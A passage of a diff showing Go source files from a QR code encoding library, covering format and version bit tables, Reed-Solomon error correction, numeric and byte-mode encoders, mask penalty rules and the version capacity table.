positions := vi.alignmentPatternPlacements()
|
||||
|
||||
for _, x := range positions {
|
||||
for _, y := range positions {
|
||||
if occupied.Get(x, y) {
|
||||
continue
|
||||
}
|
||||
drawPattern(x, y)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
|
||||
L: {
|
||||
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
|
||||
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
|
||||
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
|
||||
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
|
||||
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
|
||||
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
|
||||
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
|
||||
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
|
||||
},
|
||||
M: {
|
||||
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
|
||||
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
|
||||
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
|
||||
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
|
||||
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
|
||||
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
|
||||
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
|
||||
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
|
||||
},
|
||||
Q: {
|
||||
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
|
||||
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
|
||||
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
|
||||
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
|
||||
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
|
||||
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
|
||||
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
|
||||
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
|
||||
},
|
||||
H: {
|
||||
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
|
||||
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
|
||||
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
|
||||
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
|
||||
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
|
||||
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
|
||||
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
|
||||
},
|
||||
}
|
||||
|
||||
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
|
||||
var formatInfo []bool
|
||||
|
||||
if usedMask == -1 {
|
||||
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
|
||||
} else {
|
||||
formatInfo = formatInfos[vi.Level][usedMask]
|
||||
}
|
||||
|
||||
if len(formatInfo) == 15 {
|
||||
dim := vi.modulWidth()
|
||||
set(0, 8, formatInfo[0])
|
||||
set(1, 8, formatInfo[1])
|
||||
set(2, 8, formatInfo[2])
|
||||
set(3, 8, formatInfo[3])
|
||||
set(4, 8, formatInfo[4])
|
||||
set(5, 8, formatInfo[5])
|
||||
set(7, 8, formatInfo[6])
|
||||
set(8, 8, formatInfo[7])
|
||||
set(8, 7, formatInfo[8])
|
||||
set(8, 5, formatInfo[9])
|
||||
set(8, 4, formatInfo[10])
|
||||
set(8, 3, formatInfo[11])
|
||||
set(8, 2, formatInfo[12])
|
||||
set(8, 1, formatInfo[13])
|
||||
set(8, 0, formatInfo[14])
|
||||
|
||||
set(8, dim-1, formatInfo[0])
|
||||
set(8, dim-2, formatInfo[1])
|
||||
set(8, dim-3, formatInfo[2])
|
||||
set(8, dim-4, formatInfo[3])
|
||||
set(8, dim-5, formatInfo[4])
|
||||
set(8, dim-6, formatInfo[5])
|
||||
set(8, dim-7, formatInfo[6])
|
||||
set(dim-8, 8, formatInfo[7])
|
||||
set(dim-7, 8, formatInfo[8])
|
||||
set(dim-6, 8, formatInfo[9])
|
||||
set(dim-5, 8, formatInfo[10])
|
||||
set(dim-4, 8, formatInfo[11])
|
||||
set(dim-3, 8, formatInfo[12])
|
||||
set(dim-2, 8, formatInfo[13])
|
||||
set(dim-1, 8, formatInfo[14])
|
||||
}
|
||||
}
|
||||
|
||||
var versionInfoBitsByVersion = map[byte][]bool{
|
||||
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
|
||||
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
|
||||
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
|
||||
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
|
||||
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
|
||||
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
|
||||
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
|
||||
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
|
||||
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
|
||||
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
|
||||
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
|
||||
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
|
||||
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
|
||||
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
|
||||
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
|
||||
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
|
||||
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
|
||||
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
|
||||
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
|
||||
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
|
||||
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
|
||||
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
|
||||
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
|
||||
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
|
||||
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
|
||||
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
|
||||
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
|
||||
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
|
||||
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
|
||||
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
|
||||
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
|
||||
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
|
||||
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
|
||||
}
|
||||
|
||||
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
|
||||
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
|
||||
|
||||
if ok && len(versionInfoBits) > 0 {
|
||||
for i := 0; i < len(versionInfoBits); i++ {
|
||||
x := (vi.modulWidth() - 11) + i%3
|
||||
y := i / 3
|
||||
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
|
||||
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for bl.Len()%8 != 0 {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
if i%2 == 0 {
|
||||
bl.AddByte(236)
|
||||
} else {
|
||||
bl.AddByte(17)
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type errorCorrection struct {
|
||||
rs *utils.ReedSolomonEncoder
|
||||
}
|
||||
|
||||
var ec = newErrorCorrection()
|
||||
|
||||
func newErrorCorrection() *errorCorrection {
|
||||
fld := utils.NewGaloisField(285, 256, 0)
|
||||
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
|
||||
}
|
||||
|
||||
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
|
||||
dataInts := make([]int, len(data))
|
||||
for i := 0; i < len(data); i++ {
|
||||
dataInts[i] = int(data[i])
|
||||
}
|
||||
res := ec.rs.Encode(dataInts, int(eccCount))
|
||||
result := make([]byte, len(res))
|
||||
for i := 0; i < len(res); i++ {
|
||||
result[i] = byte(res[i])
|
||||
}
|
||||
return result
|
||||
}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
contentBitCount := (len(content) / 3) * 10
|
||||
switch len(content) % 3 {
|
||||
case 1:
|
||||
contentBitCount += 4
|
||||
case 2:
|
||||
contentBitCount += 7
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(numericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(numericMode))
|
||||
|
||||
for pos := 0; pos < len(content); pos += 3 {
|
||||
var curStr string
|
||||
if pos+3 <= len(content) {
|
||||
curStr = content[pos : pos+3]
|
||||
} else {
|
||||
curStr = content[pos:]
|
||||
}
|
||||
|
||||
i, err := strconv.Atoi(curStr)
|
||||
if err != nil || i < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
|
||||
}
|
||||
var bitCnt byte
|
||||
switch len(curStr) % 3 {
|
||||
case 0:
|
||||
bitCnt = 10
|
||||
case 1:
|
||||
bitCnt = 4
|
||||
break
|
||||
case 2:
|
||||
bitCnt = 7
|
||||
break
|
||||
}
|
||||
|
||||
res.AddBits(i, bitCnt)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type qrcode struct {
|
||||
dimension int
|
||||
data *utils.BitList
|
||||
content string
|
||||
}
|
||||
|
||||
func (qr *qrcode) Content() string {
|
||||
return qr.content
|
||||
}
|
||||
|
||||
func (qr *qrcode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{barcode.TypeQR, 2}
|
||||
}
|
||||
|
||||
func (qr *qrcode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (qr *qrcode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, qr.dimension, qr.dimension)
|
||||
}
|
||||
|
||||
func (qr *qrcode) At(x, y int) color.Color {
|
||||
if qr.Get(x, y) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (qr *qrcode) Get(x, y int) bool {
|
||||
return qr.data.GetBit(x*qr.dimension + y)
|
||||
}
|
||||
|
||||
func (qr *qrcode) Set(x, y int, val bool) {
|
||||
qr.data.SetBit(x*qr.dimension+y, val)
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenalty() uint {
|
||||
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule1() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension; x++ {
|
||||
checkForX := false
|
||||
var cntX uint
|
||||
checkForY := false
|
||||
var cntY uint
|
||||
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
if qr.Get(x, y) == checkForX {
|
||||
cntX++
|
||||
} else {
|
||||
checkForX = !checkForX
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
cntX = 1
|
||||
}
|
||||
|
||||
if qr.Get(y, x) == checkForY {
|
||||
cntY++
|
||||
} else {
|
||||
checkForY = !checkForY
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
cntY = 1
|
||||
}
|
||||
}
|
||||
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule2() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension-1; x++ {
|
||||
for y := 0; y < qr.dimension-1; y++ {
|
||||
check := qr.Get(x, y)
|
||||
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
|
||||
result += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule3() uint {
|
||||
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
|
||||
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
|
||||
|
||||
var result uint
|
||||
for x := 0; x <= qr.dimension-len(pattern1); x++ {
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
pattern1XFound := true
|
||||
pattern2XFound := true
|
||||
pattern1YFound := true
|
||||
pattern2YFound := true
|
||||
|
||||
for i := 0; i < len(pattern1); i++ {
|
||||
iv := qr.Get(x+i, y)
|
||||
if iv != pattern1[i] {
|
||||
pattern1XFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2XFound = false
|
||||
}
|
||||
iv = qr.Get(y, x+i)
|
||||
if iv != pattern1[i] {
|
||||
pattern1YFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2YFound = false
|
||||
}
|
||||
}
|
||||
if pattern1XFound || pattern2XFound {
|
||||
result += 40
|
||||
}
|
||||
if pattern1YFound || pattern2YFound {
|
||||
result += 40
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule4() uint {
|
||||
totalNum := qr.data.Len()
|
||||
trueCnt := 0
|
||||
for i := 0; i < totalNum; i++ {
|
||||
if qr.data.GetBit(i) {
|
||||
trueCnt++
|
||||
}
|
||||
}
|
||||
percDark := float64(trueCnt) * 100 / float64(totalNum)
|
||||
floor := math.Abs(math.Floor(percDark/5) - 10)
|
||||
ceil := math.Abs(math.Ceil(percDark/5) - 10)
|
||||
return uint(math.Min(floor, ceil) * 10)
|
||||
}
|
||||
|
||||
func newBarcode(dim int) *qrcode {
|
||||
res := new(qrcode)
|
||||
res.dimension = dim
|
||||
res.data = utils.NewBitList(dim * dim)
|
||||
return res
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
data := []byte(content)
|
||||
|
||||
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
|
||||
// required ECI header...
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(byteMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(byteMode))
|
||||
for _, b := range data {
|
||||
res.AddByte(b)
|
||||
}
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+310
@@ -0,0 +1,310 @@
|
||||
package qr
|
||||
|
||||
import "math"
|
||||
|
||||
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
|
||||
type ErrorCorrectionLevel byte
|
||||
|
||||
const (
|
||||
// L recovers 7% of data
|
||||
L ErrorCorrectionLevel = iota
|
||||
// M recovers 15% of data
|
||||
M
|
||||
// Q recovers 25% of data
|
||||
Q
|
||||
// H recovers 30% of data
|
||||
H
|
||||
)
|
||||
|
||||
func (ecl ErrorCorrectionLevel) String() string {
|
||||
switch ecl {
|
||||
case L:
|
||||
return "L"
|
||||
case M:
|
||||
return "M"
|
||||
case Q:
|
||||
return "Q"
|
||||
case H:
|
||||
return "H"
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
type encodingMode byte
|
||||
|
||||
const (
|
||||
numericMode encodingMode = 1
|
||||
alphaNumericMode encodingMode = 2
|
||||
byteMode encodingMode = 4
|
||||
kanjiMode encodingMode = 8
|
||||
)
|
||||
|
||||
type versionInfo struct {
|
||||
Version byte
|
||||
Level ErrorCorrectionLevel
|
||||
ErrorCorrectionCodewordsPerBlock byte
|
||||
NumberOfBlocksInGroup1 byte
|
||||
DataCodeWordsPerBlockInGroup1 byte
|
||||
NumberOfBlocksInGroup2 byte
|
||||
DataCodeWordsPerBlockInGroup2 byte
|
||||
}
|
||||
|
||||
var versionInfos = []*versionInfo{
|
||||
&versionInfo{1, L, 7, 1, 19, 0, 0},
|
||||
&versionInfo{1, M, 10, 1, 16, 0, 0},
|
||||
&versionInfo{1, Q, 13, 1, 13, 0, 0},
|
||||
&versionInfo{1, H, 17, 1, 9, 0, 0},
|
||||
&versionInfo{2, L, 10, 1, 34, 0, 0},
|
||||
&versionInfo{2, M, 16, 1, 28, 0, 0},
|
||||
&versionInfo{2, Q, 22, 1, 22, 0, 0},
|
||||
&versionInfo{2, H, 28, 1, 16, 0, 0},
|
||||
&versionInfo{3, L, 15, 1, 55, 0, 0},
|
||||
&versionInfo{3, M, 26, 1, 44, 0, 0},
|
||||
&versionInfo{3, Q, 18, 2, 17, 0, 0},
|
||||
&versionInfo{3, H, 22, 2, 13, 0, 0},
|
||||
&versionInfo{4, L, 20, 1, 80, 0, 0},
|
||||
&versionInfo{4, M, 18, 2, 32, 0, 0},
|
||||
&versionInfo{4, Q, 26, 2, 24, 0, 0},
|
||||
&versionInfo{4, H, 16, 4, 9, 0, 0},
|
||||
&versionInfo{5, L, 26, 1, 108, 0, 0},
|
||||
&versionInfo{5, M, 24, 2, 43, 0, 0},
|
||||
&versionInfo{5, Q, 18, 2, 15, 2, 16},
|
||||
&versionInfo{5, H, 22, 2, 11, 2, 12},
|
||||
&versionInfo{6, L, 18, 2, 68, 0, 0},
|
||||
&versionInfo{6, M, 16, 4, 27, 0, 0},
|
||||
&versionInfo{6, Q, 24, 4, 19, 0, 0},
|
||||
&versionInfo{6, H, 28, 4, 15, 0, 0},
|
||||
&versionInfo{7, L, 20, 2, 78, 0, 0},
|
||||
&versionInfo{7, M, 18, 4, 31, 0, 0},
|
||||
&versionInfo{7, Q, 18, 2, 14, 4, 15},
|
||||
&versionInfo{7, H, 26, 4, 13, 1, 14},
|
||||
&versionInfo{8, L, 24, 2, 97, 0, 0},
|
||||
&versionInfo{8, M, 22, 2, 38, 2, 39},
|
||||
&versionInfo{8, Q, 22, 4, 18, 2, 19},
|
||||
&versionInfo{8, H, 26, 4, 14, 2, 15},
|
||||
&versionInfo{9, L, 30, 2, 116, 0, 0},
|
||||
&versionInfo{9, M, 22, 3, 36, 2, 37},
|
||||
&versionInfo{9, Q, 20, 4, 16, 4, 17},
|
||||
&versionInfo{9, H, 24, 4, 12, 4, 13},
|
||||
&versionInfo{10, L, 18, 2, 68, 2, 69},
|
||||
&versionInfo{10, M, 26, 4, 43, 1, 44},
|
||||
&versionInfo{10, Q, 24, 6, 19, 2, 20},
|
||||
&versionInfo{10, H, 28, 6, 15, 2, 16},
|
||||
&versionInfo{11, L, 20, 4, 81, 0, 0},
|
||||
&versionInfo{11, M, 30, 1, 50, 4, 51},
|
||||
&versionInfo{11, Q, 28, 4, 22, 4, 23},
|
||||
&versionInfo{11, H, 24, 3, 12, 8, 13},
|
||||
&versionInfo{12, L, 24, 2, 92, 2, 93},
|
||||
&versionInfo{12, M, 22, 6, 36, 2, 37},
|
||||
&versionInfo{12, Q, 26, 4, 20, 6, 21},
|
||||
&versionInfo{12, H, 28, 7, 14, 4, 15},
|
||||
&versionInfo{13, L, 26, 4, 107, 0, 0},
|
||||
&versionInfo{13, M, 22, 8, 37, 1, 38},
|
||||
&versionInfo{13, Q, 24, 8, 20, 4, 21},
|
||||
&versionInfo{13, H, 22, 12, 11, 4, 12},
|
||||
&versionInfo{14, L, 30, 3, 115, 1, 116},
|
||||
&versionInfo{14, M, 24, 4, 40, 5, 41},
|
||||
&versionInfo{14, Q, 20, 11, 16, 5, 17},
|
||||
&versionInfo{14, H, 24, 11, 12, 5, 13},
|
||||
&versionInfo{15, L, 22, 5, 87, 1, 88},
|
||||
&versionInfo{15, M, 24, 5, 41, 5, 42},
|
||||
&versionInfo{15, Q, 30, 5, 24, 7, 25},
|
||||
&versionInfo{15, H, 24, 11, 12, 7, 13},
|
||||
&versionInfo{16, L, 24, 5, 98, 1, 99},
|
||||
&versionInfo{16, M, 28, 7, 45, 3, 46},
|
||||
&versionInfo{16, Q, 24, 15, 19, 2, 20},
|
||||
&versionInfo{16, H, 30, 3, 15, 13, 16},
|
||||
&versionInfo{17, L, 28, 1, 107, 5, 108},
|
||||
&versionInfo{17, M, 28, 10, 46, 1, 47},
|
||||
&versionInfo{17, Q, 28, 1, 22, 15, 23},
|
||||
&versionInfo{17, H, 28, 2, 14, 17, 15},
|
||||
&versionInfo{18, L, 30, 5, 120, 1, 121},
|
||||
&versionInfo{18, M, 26, 9, 43, 4, 44},
|
||||
&versionInfo{18, Q, 28, 17, 22, 1, 23},
|
||||
&versionInfo{18, H, 28, 2, 14, 19, 15},
|
||||
&versionInfo{19, L, 28, 3, 113, 4, 114},
|
||||
&versionInfo{19, M, 26, 3, 44, 11, 45},
|
||||
&versionInfo{19, Q, 26, 17, 21, 4, 22},
|
||||
&versionInfo{19, H, 26, 9, 13, 16, 14},
|
||||
&versionInfo{20, L, 28, 3, 107, 5, 108},
|
||||
&versionInfo{20, M, 26, 3, 41, 13, 42},
|
||||
&versionInfo{20, Q, 30, 15, 24, 5, 25},
|
||||
&versionInfo{20, H, 28, 15, 15, 10, 16},
|
||||
&versionInfo{21, L, 28, 4, 116, 4, 117},
|
||||
&versionInfo{21, M, 26, 17, 42, 0, 0},
|
||||
&versionInfo{21, Q, 28, 17, 22, 6, 23},
|
||||
&versionInfo{21, H, 30, 19, 16, 6, 17},
|
||||
&versionInfo{22, L, 28, 2, 111, 7, 112},
|
||||
&versionInfo{22, M, 28, 17, 46, 0, 0},
|
||||
&versionInfo{22, Q, 30, 7, 24, 16, 25},
|
||||
&versionInfo{22, H, 24, 34, 13, 0, 0},
|
||||
&versionInfo{23, L, 30, 4, 121, 5, 122},
|
||||
&versionInfo{23, M, 28, 4, 47, 14, 48},
|
||||
&versionInfo{23, Q, 30, 11, 24, 14, 25},
|
||||
&versionInfo{23, H, 30, 16, 15, 14, 16},
|
||||
&versionInfo{24, L, 30, 6, 117, 4, 118},
|
||||
&versionInfo{24, M, 28, 6, 45, 14, 46},
|
||||
&versionInfo{24, Q, 30, 11, 24, 16, 25},
|
||||
&versionInfo{24, H, 30, 30, 16, 2, 17},
|
||||
&versionInfo{25, L, 26, 8, 106, 4, 107},
|
||||
&versionInfo{25, M, 28, 8, 47, 13, 48},
|
||||
&versionInfo{25, Q, 30, 7, 24, 22, 25},
|
||||
&versionInfo{25, H, 30, 22, 15, 13, 16},
|
||||
&versionInfo{26, L, 28, 10, 114, 2, 115},
|
||||
&versionInfo{26, M, 28, 19, 46, 4, 47},
|
||||
&versionInfo{26, Q, 28, 28, 22, 6, 23},
|
||||
&versionInfo{26, H, 30, 33, 16, 4, 17},
|
||||
&versionInfo{27, L, 30, 8, 122, 4, 123},
|
||||
&versionInfo{27, M, 28, 22, 45, 3, 46},
|
||||
&versionInfo{27, Q, 30, 8, 23, 26, 24},
|
||||
&versionInfo{27, H, 30, 12, 15, 28, 16},
|
||||
&versionInfo{28, L, 30, 3, 117, 10, 118},
|
||||
&versionInfo{28, M, 28, 3, 45, 23, 46},
|
||||
&versionInfo{28, Q, 30, 4, 24, 31, 25},
|
||||
&versionInfo{28, H, 30, 11, 15, 31, 16},
|
||||
&versionInfo{29, L, 30, 7, 116, 7, 117},
|
||||
&versionInfo{29, M, 28, 21, 45, 7, 46},
|
||||
&versionInfo{29, Q, 30, 1, 23, 37, 24},
|
||||
&versionInfo{29, H, 30, 19, 15, 26, 16},
|
||||
&versionInfo{30, L, 30, 5, 115, 10, 116},
|
||||
&versionInfo{30, M, 28, 19, 47, 10, 48},
|
||||
&versionInfo{30, Q, 30, 15, 24, 25, 25},
|
||||
&versionInfo{30, H, 30, 23, 15, 25, 16},
|
||||
&versionInfo{31, L, 30, 13, 115, 3, 116},
|
||||
&versionInfo{31, M, 28, 2, 46, 29, 47},
|
||||
&versionInfo{31, Q, 30, 42, 24, 1, 25},
|
||||
&versionInfo{31, H, 30, 23, 15, 28, 16},
|
||||
&versionInfo{32, L, 30, 17, 115, 0, 0},
|
||||
&versionInfo{32, M, 28, 10, 46, 23, 47},
|
||||
&versionInfo{32, Q, 30, 10, 24, 35, 25},
|
||||
&versionInfo{32, H, 30, 19, 15, 35, 16},
|
||||
&versionInfo{33, L, 30, 17, 115, 1, 116},
|
||||
&versionInfo{33, M, 28, 14, 46, 21, 47},
|
||||
&versionInfo{33, Q, 30, 29, 24, 19, 25},
|
||||
&versionInfo{33, H, 30, 11, 15, 46, 16},
|
||||
&versionInfo{34, L, 30, 13, 115, 6, 116},
|
||||
&versionInfo{34, M, 28, 14, 46, 23, 47},
|
||||
&versionInfo{34, Q, 30, 44, 24, 7, 25},
|
||||
&versionInfo{34, H, 30, 59, 16, 1, 17},
|
||||
&versionInfo{35, L, 30, 12, 121, 7, 122},
|
||||
&versionInfo{35, M, 28, 12, 47, 26, 48},
|
||||
&versionInfo{35, Q, 30, 39, 24, 14, 25},
|
||||
&versionInfo{35, H, 30, 22, 15, 41, 16},
|
||||
&versionInfo{36, L, 30, 6, 121, 14, 122},
|
||||
&versionInfo{36, M, 28, 6, 47, 34, 48},
|
||||
&versionInfo{36, Q, 30, 46, 24, 10, 25},
|
||||
&versionInfo{36, H, 30, 2, 15, 64, 16},
|
||||
&versionInfo{37, L, 30, 17, 122, 4, 123},
|
||||
&versionInfo{37, M, 28, 29, 46, 14, 47},
|
||||
&versionInfo{37, Q, 30, 49, 24, 10, 25},
|
||||
&versionInfo{37, H, 30, 24, 15, 46, 16},
|
||||
&versionInfo{38, L, 30, 4, 122, 18, 123},
|
||||
&versionInfo{38, M, 28, 13, 46, 32, 47},
|
||||
&versionInfo{38, Q, 30, 48, 24, 14, 25},
|
||||
&versionInfo{38, H, 30, 42, 15, 32, 16},
|
||||
&versionInfo{39, L, 30, 20, 117, 4, 118},
|
||||
&versionInfo{39, M, 28, 40, 47, 7, 48},
|
||||
&versionInfo{39, Q, 30, 43, 24, 22, 25},
|
||||
&versionInfo{39, H, 30, 10, 15, 67, 16},
|
||||
&versionInfo{40, L, 30, 19, 118, 6, 119},
|
||||
&versionInfo{40, M, 28, 18, 47, 31, 48},
|
||||
&versionInfo{40, Q, 30, 34, 24, 34, 25},
|
||||
&versionInfo{40, H, 30, 20, 15, 61, 16},
|
||||
}
|
||||
|
||||
func (vi *versionInfo) totalDataBytes() int {
|
||||
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
return (g1Data + g2Data)
|
||||
}
|
||||
|
||||
